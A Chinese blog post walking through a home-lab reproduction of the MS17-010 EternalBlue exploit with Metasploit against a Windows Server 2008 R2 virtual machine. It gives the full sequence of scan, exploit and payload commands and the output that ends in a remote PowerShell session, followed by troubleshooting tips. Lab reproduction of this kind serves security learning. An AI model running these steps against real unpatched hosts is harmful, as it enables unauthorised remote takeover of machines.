newbie1024
posts - 15,comments - 0,views - 1227
内网渗透ms17-010复现

内网渗透ms17-010复现

一、复现环境

  1. 主机信息

OS Name：kali2020

metasploit framework：msf6

IP：192.168.31.53

  1. 靶机信息

OS Name: Microsoft Windows Server 2008 R2 Datacenter （en）

OS Version: 6.1.7600 N/A Build 7600

IP：192.168.31.156

Note: 靶机的选择对结果有很大的影响，本人在复现过程中使用过Windows7-pro-x64-cn，Windows7-home-x64-cn，Windows7-pro-sp1-x64-en，Windows7-pro-x64-en，Windows7-pro-x86-en，Windows server 2008 r2等，只有Microsoft Windows Server 2008 R2 Datacenter （en） 成功了，其他靶机报错：

“Exploit completed, but no session was created.”

二、复现过程

一、设置靶机

  1. VMware workstation新建虚拟机，网络设置为桥接模式，内存和CPU可根据电脑自身情况进行设置；
  2. 开机后网络设置专用网络和公共网络都可以，在专用网络情况下，不关闭防火墙也可以进行渗透，公共网络下必须关闭防火墙，建议关闭防火墙看，可以提高实验成功率；
  3. 确认靶机IP地址，在主机端使用ping命令测试是否可以连通；
C:\Windows\system32> ipconfig
  1. 445端口默认是开通的可以不做设置。

二、主机——kali2020

  1. 打开终端，使用NMAP扫描靶机IP，不出意外在扫描结果中可以看到445端口；
nmap 192.168.31.156

扫描结果：

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-16 23:13 CST
Nmap scan report for 192.168.31.156
Host is up (0.022s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
10243/tcp open  unknown
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49158/tcp open  unknown
  1. 开工搞事，启动metasploit框架
$ msfconsole
  1. 查找MS17-010相关模块
msf6 > search ms17-010

查询结果：

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
  1. 使用辅助模块先扫描一下，看靶机是否存在漏洞

命令：

msf6 > use auxiliary/scanner/smb/smb_ms17_010    //也可以用 use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.31.156      //设置靶机IP
rhost => 192.168.31.156
msf6 auxiliary(scanner/smb/smb_ms17_010) > run           //使用run执行

扫描结果：

[+] 192.168.31.156:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7600 x64 (64-bit)
[*] 192.168.31.156:445    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
//Host is likely VULNERABLE to MS17-010! 表明存在且可以利用
  1. 使用ms17_010_eternalblue模块开始搞事
msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0     //use exploit/windows/smb/ms17_010_eternalblue  效果一样
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp            //表示默认攻击载荷为 exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads       //查看适用的全部攻击载荷

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/generic/ssh/interact                                         normal  No     Interact with Established SSH Connection
   4   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   12  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   13  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   15  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   16  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   17  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   18  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   19  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   20  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   21  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   22  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   23  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   24  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   25  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   26  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   27  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   28  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   29  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   30  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   31  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   32  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   33  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   34  payload/windows/x64/powershell_reverse_tcp_ssl                       normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   35  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   36  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   37  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   38  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   39  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   40  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   41  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   42  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   43  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   44  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   45  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   46  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   47  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   48  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   49  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   50  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   51  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   52  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   53  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   54  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   55  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   57  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   58  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
  1. 设置靶机IP和payload（攻击载荷），我使用的是“ 32 payload/windows/x64/powershell_bind_tcp”，攻击载荷的选择不唯一，我尝试了多个反弹shell的payload，只有32成功了，其他的报以下错误，建议切换不同的payload尝试
Exploit completed, but no session was created.

或

Command shell session 3 closed.

设置命令：

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.31.156
rhost => 192.168.31.156
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 32
payload => windows/x64/powershell_bind_tcp

  1. 查看其他可设置选项，yes为必须设置；

    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options 

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.31.156   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2,
                                              Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Win
                                             dows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Wi
                                             ndows Embedded Standard 7 target machines.


Payload options (windows/x64/powershell_reverse_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   EXITFUNC      thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST         192.168.31.53    yes       The listen address (an interface may be specified)
   LOAD_MODULES                   no        A list of powershell modules separated by a comma to download over the web
   LPORT         4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

  2. 可以发现target没有设置，target可以使用默认设置“ 0 Automatic Target”，为了提高成功率也可以指定，LPORT为反弹shell的监听端口，可以自行设定，本次我设置为10243，；

    msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets       //查看可用的全部类型target

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Target
   1   Windows 7
   2   Windows Embedded Standard 7
   3   Windows Server 2008 R2
   4   Windows 8
   5   Windows 8.1
   6   Windows Server 2012
   7   Windows 10 Pro
   8   Windows 10 Enterprise Evaluation
msf6 exploit(windows/smb/ms17_010_eternalblue) > set target 3        //设置target为Windows Server 2008 R2
target => 3
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 10243
lport => 10243

  3. 神圣的时刻到来，成败在此一举

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

结果：

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] 192.168.31.156:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.31.156:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7600 x64 (64-bit)
[*] 192.168.31.156:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.31.156:445 - The target is vulnerable.
[*] 192.168.31.156:445 - Connecting to target for exploitation.
[+] 192.168.31.156:445 - Connection established for exploitation.
[+] 192.168.31.156:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.31.156:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.31.156:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.31.156:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 192.168.31.156:445 - 0x00000020  72 20 37 36 30 30                                r 7600      
[+] 192.168.31.156:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.31.156:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.31.156:445 - Sending all but last fragment of exploit packet
[*] 192.168.31.156:445 - Starting non-paged pool grooming
[+] 192.168.31.156:445 - Sending SMBv2 buffers
[+] 192.168.31.156:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.31.156:445 - Sending final SMBv2 buffers.
[*] 192.168.31.156:445 - Sending last fragment of exploit packet!
[*] 192.168.31.156:445 - Receiving response from exploit packet
[+] 192.168.31.156:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.31.156:445 - Sending egg to corrupted connection.
[*] 192.168.31.156:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.31.156:10243
[*] Powershell session session 1 opened (192.168.31.53:45757 -> 192.168.31.156:10243 ) at 2022-01-17 00:13:44 +0800
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PS C:\Windows\system32> 
PS C:\Windows\system32> ipconfig        //查看成功渗透的靶机IP地址

Windows IP Configuration


Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::b15b:c4d6:7df1:a737%11
   IPv4 Address. . . . . . . . . . . : 192.168.31.156
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.31.1

Tunnel adapter isatap.{3C95E970-9F5F-4645-86BE-335848A6C11C}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : 
PS C:\Windows\system32>
  1. 出现WIN和“ C:\Windows\system32> ”时表示成功了，接下来可以开启后渗透模式了！

结果有可能也会是这样的，经过一些FAIL才会WIN，不要慌

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] 192.168.31.156:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.31.156:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Datacenter 7600 x64 (64-bit)
[*] 192.168.31.156:445    - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.31.156:445 - The target is vulnerable.
[*] 192.168.31.156:445 - Connecting to target for exploitation.
[+] 192.168.31.156:445 - Connection established for exploitation.
[+] 192.168.31.156:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.31.156:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.31.156:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.31.156:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 192.168.31.156:445 - 0x00000020  72 20 37 36 30 30                                r 7600      
[+] 192.168.31.156:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.31.156:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.31.156:445 - Sending all but last fragment of exploit packet
[*] 192.168.31.156:445 - Starting non-paged pool grooming
[+] 192.168.31.156:445 - Sending SMBv2 buffers
[+] 192.168.31.156:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.31.156:445 - Sending final SMBv2 buffers.
[*] 192.168.31.156:445 - Sending last fragment of exploit packet!
[*] 192.168.31.156:445 - Receiving response from exploit packet
[+] 192.168.31.156:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.31.156:445 - Sending egg to corrupted connection.
[*] 192.168.31.156:445 - Triggering free of corrupted buffer.
[*] Started bind TCP handler against 192.168.31.156:10243
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.31.156:445 - Connecting to target for exploitation.
[+] 192.168.31.156:445 - Connection established for exploitation.
[+] 192.168.31.156:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.31.156:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.31.156:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.31.156:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 192.168.31.156:445 - 0x00000020  72 20 37 36 30 30                                r 7600      
[+] 192.168.31.156:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.31.156:445 - Trying exploit with 17 Groom Allocations.
[*] 192.168.31.156:445 - Sending all but last fragment of exploit packet
[*] 192.168.31.156:445 - Starting non-paged pool grooming
[+] 192.168.31.156:445 - Sending SMBv2 buffers
[+] 192.168.31.156:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.31.156:445 - Sending final SMBv2 buffers.
[*] 192.168.31.156:445 - Sending last fragment of exploit packet!
[*] 192.168.31.156:445 - Receiving response from exploit packet
[+] 192.168.31.156:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.31.156:445 - Sending egg to corrupted connection.
[*] 192.168.31.156:445 - Triggering free of corrupted buffer.
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] 192.168.31.156:445 - Connecting to target for exploitation.
[+] 192.168.31.156:445 - Connection established for exploitation.
[+] 192.168.31.156:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.31.156:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.31.156:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.31.156:445 - 0x00000010  30 30 38 20 52 32 20 44 61 74 61 63 65 6e 74 65  008 R2 Datacente
[*] 192.168.31.156:445 - 0x00000020  72 20 37 36 30 30                                r 7600      
[+] 192.168.31.156:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.31.156:445 - Trying exploit with 22 Groom Allocations.
[*] 192.168.31.156:445 - Sending all but last fragment of exploit packet
[*] 192.168.31.156:445 - Starting non-paged pool grooming
[+] 192.168.31.156:445 - Sending SMBv2 buffers
[+] 192.168.31.156:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.31.156:445 - Sending final SMBv2 buffers.
[*] 192.168.31.156:445 - Sending last fragment of exploit packet!
[*] 192.168.31.156:445 - Receiving response from exploit packet
[+] 192.168.31.156:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.31.156:445 - Sending egg to corrupted connection.
[*] 192.168.31.156:445 - Triggering free of corrupted buffer.
[*] Powershell session session 3 opened (192.168.31.53:34929 -> 192.168.31.156:10243 ) at 2022-01-16 19:56:59 +0800
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.31.156:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PS C:\Windows\system32>

三、复现后记

这次复现我花费整整两天，期间遇到的最多的错误是：

Exploit completed, but no session was created.

为了解决这个问题，查看了很多博文，有了一些自己的理解，下文我将结合自己的实际经验总结一下网上的方法：

  1. 一些payload模块对中文版Windows7支持欠佳，建议使用英文版Windows7或者尝试其他的payload；
  2. 下载的靶机系统较新，漏洞已修复无法利用，建议使用2009年发行的版本或者2017年之前的版本；
  3. 防火墙的干扰，包括物理机的防火墙、路由器的防火墙、靶机的防火墙和主机的防火墙，通过我实践发现，当创建虚拟机时将网络设置为桥接模式，只有靶机的防火墙会影响复现结果；
  4. metasploit框架集成的MS17-010不太稳定，建立session时容易Died，建议使用原始的fb.py，详细介绍参照

内网渗透之ms17-010，文中引用的参考资料“Metasploit 「永恒之蓝」两种模块的利弊”已链接失效，新的链接为Metasploit 「永恒之蓝」两种模块的利弊。

  1. 进行多次run或exploit；

‍

posted on   熊猫爱旅行  阅读(122)  评论(0)  编辑  收藏  举报
相关博文：
·  第一章 TCP、IP协议族
·  第五章 交换技术
·  Win7利用NSA的MS17-010漏洞利用工具攻击Win7 64并加载dll实现反弹shell给kali
·  渗透win7笔记
·  MS17010漏洞复现及利用
阅读排行：
· 地球OL攻略 —— 某应届生求职总结
· 周边上新：园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源！
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
< 2025年3月 >
日 一 二 三 四 五 六
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

Copyright © 2025 熊猫爱旅行
Powered by .NET 9.0 on Kubernetes Powered By博客园
点击右上角即可分享
微信分享提示
SQL AI 助手